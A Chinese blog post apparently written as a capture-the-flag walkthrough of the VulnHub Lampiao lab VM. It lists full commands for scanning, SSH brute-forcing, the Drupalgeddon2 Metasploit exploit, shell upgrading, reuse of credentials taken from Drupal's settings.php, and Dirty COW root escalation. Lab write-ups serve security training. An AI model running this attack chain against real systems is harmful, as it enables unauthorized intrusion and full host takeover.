Snowming04's Blog
一颗红❤
Toggle navigation
Snowming04's Blog
主页
Cobalt Strike
Accelerated C++
区块链安全
友链
关于我
常用工具
代码积累
归档
标签
记一次 Drupal + 脏牛提权 Ubuntu
? 提权 ?
? 脏牛 ?
? Drupal ?
2020-01-10 17:23:17
3644
0
0
snowming
? 提权 ?
? 脏牛 ?
? Drupal ?
# 靶机环境 https://download.vulnhub.com/lampiao/Lampiao.zip  攻击机 Kali IP `192.168.23.138`。 靶机处于同一内网 C 段。 ----------------------- # 主机发现 ``` shell nmap -sP 192.168.23.1/24 ```  其中: - `192.168.23.1` 是虚拟网卡使用的地址:  - `192.168.23.254` 是 DHCP 服务器的地址; - `192.168.23.138` 是攻击机 Kali; - `192.168.23.2` 是虚拟网卡的网关地址:  所以综上排除之后,靶机的 IP 为 `192.168.23.139`。 -------------------------- # 端口扫描 ``` shell nmap -sS -Pn -T4 -p 1-65535 192.168.23.139 ```  ------------------- # 弱口令爆破 22 端口 使用 msf 的 `scanner/ssh/ssh_login` 来爆破此靶机的 22 端口: ``` shell msfconsole search scanner/ssh use scanner/ssh/ssh_login set RHOSTS 192.168.23.139 set THREADS 200 set Username root set PASS_FILE /root/Desktop/dic_password_ssh.txt run ``` 对这种一般环境黑盒测试使用通用字典进行爆破。 字典选择了我在 `SNETCracker` 这个工具里面扒下来的弱 ssh 密码字典。  根据目标环境ssh用户名设为 `root` 足矣。 注:`SNETCracker` 这个工具也很好用,可单用。 虽然 ruby 略慢,最终跑出来了,一无所获:  > 在此相当于一个纯黑盒环境,所以我用通用字典跑。在一些灰盒环境,可以根据获取的信息,如时间、公司名称缩写、域名称缩写这些信息建立一个针对性的字典。一些公司用户名就是 `名称@年份`。 还可以抓 shadow 跑密码,丢到字典里面去,在遇到运维设置不太好的情况下,有时候能够通杀一大片。 # 1898端口信息收集 1898 端口是一个网站。功能点较为单一、尝试进行信息收集。  ## 目录扫描 使用 `WFUZZ` 扫目录: ``` shell wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.23.139:1898/FUZZ ``` 对这几个目录进行信息收集发现:   `http://192.168.23.139:1898/scripts/drupal.sh`:  总结一下: - 主机系统: Ubuntu - Web Server:Apache - 框架:Drupal(版本:7.54) 既然得知主机系统为 Ubuntu,还想再次尝试一下 ssh 爆破。还是在 msf 刚刚的模块里面,设置: ``` shell set Username ubuntu ``` 还是没有爆破成功,另外 ruby 真的很慢,以后尽量不会用 msf 的这个模块来 ssh 爆破了。 另外在 /sites 目录下找到了一个疑似敏感文件,但是网页版打不开。先记着,后面在文件目录里面再看:   # 获取会话 搜集到大致的敏感信息后于是搜索其对应的漏洞利用。 使用 msf 进行漏洞利用: ``` shell msfconsole msfdb start search drupal use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.23.139 set RPORT 1898 show targets set target 0 run ```  通过利用 Drupal 在2018年3月28日爆出的一个远程代码执行漏洞([CVE-2018-7600](https://paper.seebug.org/567/)),最终我获得了一个注入内存的内存马。 ## 获取 bash 终端 执行 shell 获取交互式命令,由于我们获取的 shell 并不是一个具有完整交互的 shell,对于已经安装了 python 的系统,我们可以使用 python 提供的 pty 模块,只需要一行脚本就可以创建一个原生的终端,命令如下: ``` shell python -c 'import pty; pty.spawn("/bin/bash")' ```  ## 获取其他用户 此时用户为 [www-data](http://www.kbase101.com/question/8087.html) 用户,说明需要提权,`ls -al ` 查看网站根目录有些什么东西发现有几个东西不是网站根目录应该有的,所以应该可以获得什么重要信息,所以把这些文件传输到攻击机上一一查看: ! 先在 msf 中此靶机 bash 输入: ``` shell cat lampiao.jpg | nc -l -p 9999 ``` 在 Kali 攻击机器终端的 Desktop 目录下输入: ```shell nc 192.168.23.139 9999 > lampiao.jpg ``` 获得了这样一张图片:  此图片未发现有隐写。 然后继续看其他几个文件: - qrc.png 是一个二维码,扫描结果没什么有用的信息。  - audio.m4a  此视频没有画面,里面有一段声音说: `user tiago`。 - LuizGonzaga-LampiaoFalou.mp3 是一段音乐,没有什么信息量。 使用 [MP3stego](https://www.petitcolas.net/steganography/mp3stego/) 查看了一下里面也没有什么隐写。 所以感觉下一步的线索在 `user tiago` 里,说明要先找到用户tiago的密码。 继续在此目录里面查找敏感文件,在 var/www/html/sites/default 目录下找到配置文件 `settings.php`: 里面找到敏感信息,`drupal` 数据库的密码,猜测 username 对应的 drupaluser 就是 `tiago`,这里的密码就是其系统用户 tiago 的密码。   尝试用 `tiago` 用户进行登录,结果成功切换为 `tiago` 用户:  # 尝试获取数据库权限 然后试了试 mysql 数据库 root 的密码,结果密码也是 tiago 的登陆密码,成功获取 Mysql 数据库的 root 权限。  在Mysql数据库中发现有drupal数据库,网站所有用户的信息就在这里了。  # 针对性爆破 root 密码 获得普通用户的权限后,接下来的一步就是提权到最高的 root 权限了。 通过前面收集的所有信息生成社工字典,尝试针对性 ssh 爆破: 使用 [cewl](https://www.4hou.com/tools/14693.html): 一个通过爬取网站上关键信息生成字典的一个神器,命令: ``` shell cewl http://192.168.23.139:1898 -w dict.txt ```  然后把此字典`dict.txt`扔进 hydra 爆破 22 端口: ``` shell hydra -l root -P /root/dict.txt -f ssh://192.168.23.139:22/ ```  爆破 ssh 未果。 # 内核提权: 现在就尝试用 EXP 提权了: 先 `uname -a` 查看当前内核版本:  此内核 >= 2.6.22,使用脏牛提权。参考了这篇文章: [脏牛Linux本地提权漏洞复现(CVE-2016-5195)](https://www.jianshu.com/p/df72d1ee1e3e) 使用了里面的 EXP2(c++ 写的)。 这里插播一个很好玩的,有人黑了我的 VPS 还在目录下留下了一个 `.dirty` 文件,结果我试了下,此文件就是 EXP1, 用它尝试提权了一下成功了:  有点慌。回到正题。 我先尝试了把 [EXP2](https://github.com/gbonacini/CVE-2016-5195) 在我的 VPS 上编译,然后直接下载可执行文件,结果出现如下报错:  所以我干脆直接在此 bash 内下载编译。注意我此时在的路径是 `home` 目录下。因为在网站目录内操作不是很好。 ``` shell wget https://github.com/gbonacini/CVE-2016-5195/archive/master.zip unzip master cd CVE-2016-5195-master make ./dcow -s ``` 然后就提权成功了:  # 获取 FLAG  # 提权延申 查找提权 EXP:  参考:[linux 提权 searchsploit 使用规范](https://www.cnblogs.com/kinome/p/8182727.html) 注: > 1. 查一下内核版本: `uname -a` 2. 根据内核版本,百度Google搜cve或者searchploit 输入内核信息 或者exploit-db.com上搜cve或者msf>search cve 3. wget 下载代码后,大都要编译一下 命令gcc poc.c -o 自定义路径/poc 4. sudo ./poc执行 如果不确定目标内核是否存在漏洞,就用nessus扫扫。 -------------- 参考链接: [1] [记一次 lampiao渗透(Drupal+脏牛提权)](https://www.cnblogs.com/kuaile1314/p/11684518.html) [2] [脏牛Linux本地提权漏洞复现(CVE-2016-5195)](https://www.jianshu.com/p/df72d1ee1e3e) [3] [gbonacini / CVE-2016-5195](https://github.com/gbonacini/CVE-2016-5195) [4] [linux 提权 searchsploit 使用规范](https://www.cnblogs.com/kinome/p/8182727.html)
上一篇:
IP 变形
下一篇:
CVE-2019-1388:通过 UAC 进行 Windows 提权
0
赞
3644 人读过
新浪微博
微信
腾讯微博
QQ空间
人人网
提交评论
立即登录
, 发表评论.
没有帐号?
立即注册
0
条评论
More...
文档导航
没有帐号? 立即注册